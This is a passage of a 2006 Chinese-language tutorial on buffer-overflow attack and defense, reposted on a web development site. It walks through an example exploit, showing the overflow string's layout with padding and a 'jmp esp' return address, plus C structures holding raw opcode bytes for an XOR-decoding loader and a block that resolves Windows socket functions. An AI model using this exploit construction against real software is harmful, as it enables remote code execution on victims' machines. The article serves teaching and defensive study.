破坏力依然不可小视 缓冲区溢出攻防
2006-11-07 20:09:59 来源:WEB开发网核心提示: 攻击实例我们的攻击程序名叫“attacker”,攻击成功后,破坏力依然不可小视 缓冲区溢出攻防(6),它将使victim进程弹出下面的消息框,attacker供给的第一步是把stub(也就是UNC字符串)发送给victim,如果编译器在STUBSTUBCODE或ST
攻击实例
我们的攻击程序名叫“attacker”,攻击成功后,它将使victim进程弹出下面的消息框。
attacker供给的第一步是把stub(也就是UNC字符串)发送给victim,所以我们就先来看一下stub的构成,如下图所示:
其中,填充数据1用来填充返回地址前的所有内容,本例就是szComputer占用的空间;返回地址就是“jmp esp”指令的地址;填充数据2用来填充返回地址和stubstubcode之间的内容,本例是参数sck占用的空间;stubstubcode、stubparam和stubcode前面已经讲过;填充数据3则用于将stub打扮成正常字符串的样子,例如,补上结尾处的0字符等。
为了使用更方便,我定义了几个结构来表示整个stub。你可以看到,它们被“#pragma pack”编译指令固定为一字节对齐,这很重要,因为它可以:①减小stub的大小。栈上可供使用的空间不多,所以stub越小越好;②阻止编译器插入用于对齐的额外字节。如果编译器在STUBSTUBCODE或STUB中插入了额外的字节,我们的一切努力都将付之东流。
#pragma pack(push)
#pragma pack(1)
struct STUBSTUBCODE
{
BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9
WORD wXorSize; //需要进行异或处理的数据的大小
BYTE arrConst2[3]; //0x8D, 0x74, 0x24
BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移)
BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34
BYTE byXorMask; //使用此数字进行异或
BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24
BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移)
BYTE arrConst5[2]; //0xFF, 0xD0
};
struct STUBPARAM
{
FxLoadLibrary fnLoadLibrary;
FxGetProcAddr fnGetProcAddr;
FxVirtualAlloc fnVirtualAlloc;
DWORD dwImageSize;
DWORD rvaAttackerEntry;
char szWs2_32[11]; //ws2_32.dll
char szSocket[7]; //socket
char szBind[5]; //bind
char szListen[7]; //listen
char szAccept[7]; //accept
char szSend[5]; //send
char szRecv[5]; //recv
};
struct STUB
{
BYTE arrPadding1[18];
DWORD dwJmpEsp;
BYTE arrPadding2[4];
STUBSTUBCODE ssc;
STUBPARAM sp;
BYTE arrStubCode[1]; //实际上,这是一个变长数组
};
#pragma pack(pop)
更多精彩
赞助商链接